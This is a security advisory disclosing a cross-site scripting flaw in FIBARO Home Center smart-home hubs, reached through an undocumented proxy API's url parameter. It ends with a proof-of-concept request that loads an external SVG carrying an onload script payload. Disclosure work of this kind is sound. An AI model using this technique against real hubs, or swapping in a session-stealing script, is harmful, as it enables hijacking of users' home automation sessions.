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FIBARO System Home Center v5.021 Remote File Include XSS  
  
  
Vendor: FIBAR GROUP S.A.  
Product web page: https://www.fibaro.com  
Affected version: Home Center 3, Home Center 2, Home Center Lite  
5.021.38  
4.580  
4.570  
4.540  
4.530  
4.510  
4.180  
  
  
Summary: Imagine that you live in a house where everything happens by itself.  
FIBARO Smart Home takes care of your everyday comfort and safety of all family  
members and in the meantime, saves energy on every single occasion. All this is  
possible thanks to Home Center 2 smart home HUB. Home Center 2 is an indispensable  
part of the FIBARO System without which the rest devices of home automation would  
be only beautiful objects. The smart home HUB collects and analyzes information  
about devices, communicates them with each other and thus directs the operation  
of the entire system and takes care of its security.  
  
Desc: The smart home solution is vulnerable to a remote Cross-Site Scripting  
triggered via a Remote File Inclusion issue by including arbitrary client-side  
dynamic scripts (JavaScript, VBScript) due to the undocumented proxy API and its  
url GET parameter. This allows hijacking the current session of the user or  
changing the look of the page by changing the HTML.  
  
Tested on: Apache/2.2.16 (Debian)  
nginx/1.9.5  
nginx/1.8.0  
lighttpd/1.4.41  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2020-5563  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5563.php  
  
  
04.02.2020  
  
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http://10.0.0.2:8880/api/proxy?url=https://www.zeroscience.mk/pentest/XSS.svg  
  
$ cat /pentest/XSS.svg  
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>